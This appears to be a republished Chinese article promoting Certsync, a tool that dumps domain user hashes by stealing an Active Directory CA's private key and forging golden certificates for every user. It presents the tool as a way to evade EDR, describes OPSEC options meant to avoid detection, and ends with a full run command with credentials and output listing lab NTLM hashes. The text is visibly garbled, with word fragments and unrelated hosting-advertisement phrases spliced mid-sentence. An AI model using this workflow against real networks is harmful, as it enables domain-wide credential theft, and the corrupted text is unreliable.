Certsync是何使S黄C哈一种使用黄金证书和UnPAC哈希值来远程转储NTDS的新技术。在该工具的用Cc远帮助下,广大研究人员能够轻松获取目标域控制器中的程转储用户列表
、CA信息和CRL,金证并转储CA证书和私钥
。书和值得一提的何使S黄C哈是高防服务器,在整个业务流程中,用Cc远该工具不需要使用到DRSUAPI 。程转储除此之外,金证该工具的书和运行速度也非常的快 ,效率非常高。何使S黄C哈 1
、用Cc远从 LDAP 转储用户列表、服务器租用程转储CA 信息和 CRL; 2、金证转储 CA 证书和私钥; 3 、书和为每个用户离线伪造证书; 4
、UnPAC 每个用户的哈希以获得 nt 和 lm 哈希; 由于DSRUAPI(Domain Services Remote Protocol API)越来越受到EDR解决方案的监控和限制 ,而Certsync则提供了一种绕过这些限制的新方法 。与使用DSRUAPI不同,Certsync不需要域管理员权限,香港云服务器只需要CA管理员权限。 1
、在域中有配置企业CA的ADCS(Active Directory Certificate Services)服务器; 2、PKINIT正常工作; 3、AD中有本地管理员域帐户或导出CA证书和私钥; 由于该工具基于Python开发,因此我们首先需要在本地设备上安装并配置好Python环境
。 接下来
,广大研究人员可以使用下列命令将该项目源码克隆至本地: 或者直接使用pip安装: 广大研究人员可以通过下列方法直接运行Certsync : 上述命令将会连接到LDAP服务器 ,收集用户列表、免费模板CA信息和CRL
。然后,它会找到CA证书和私钥,并为每个用户生成伪造证书。最后 ,它会使用UnPAC算法获取用户的nt和lm哈希值
。 可以使用-h参数查看所有可用选项和用法示例: Certsync提供了一些OPSEC选项,可以自定义工具的行为: -ldap-filter :更改用于选择用户名的亿华云LDAP过滤器; -template:在伪造用户证书时使用指定的证书模板; -timeout和-jitter:调整PKINIT连接之间的超时和间隔时间; -randomize
:随机化证书生成过程 ,使每个伪造的用户证书具有不同的私钥、序列号和有效期 ,但会增加生成时间; 使用这些选项可以根据广大研究人员的功能需求自定义Certsync工具的功能。云计算 本项目的开发与发布遵循MIT开源许可证协议
。 Certsync:【GitHub传送门】 https://cyberstoph.org/posts/2019/12/an-introduction-to-golden-certificates/ https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash关于Certsync
工具功能
为什么需要Certsync?
工具运行要求
工具安装
工具使用
工具帮助信息
OPSEC选项
工具运行演示
复制$ certsync -u khal.drogo -p horse -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12 [*] Collecting userlist, CA info and CRL on LDAP [*] Found 13 users in LDAP [*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23) [*] Dumping CA certificate and private key [*] Forging certificates for every users. This can take some time... [*] PKINIT + UnPAC the hashes ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7::: ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4::: ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804::: ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611::: ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021::: ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097::: ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a::: ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db::: ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b::: ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33. 许可证协议
项目地址
参考资料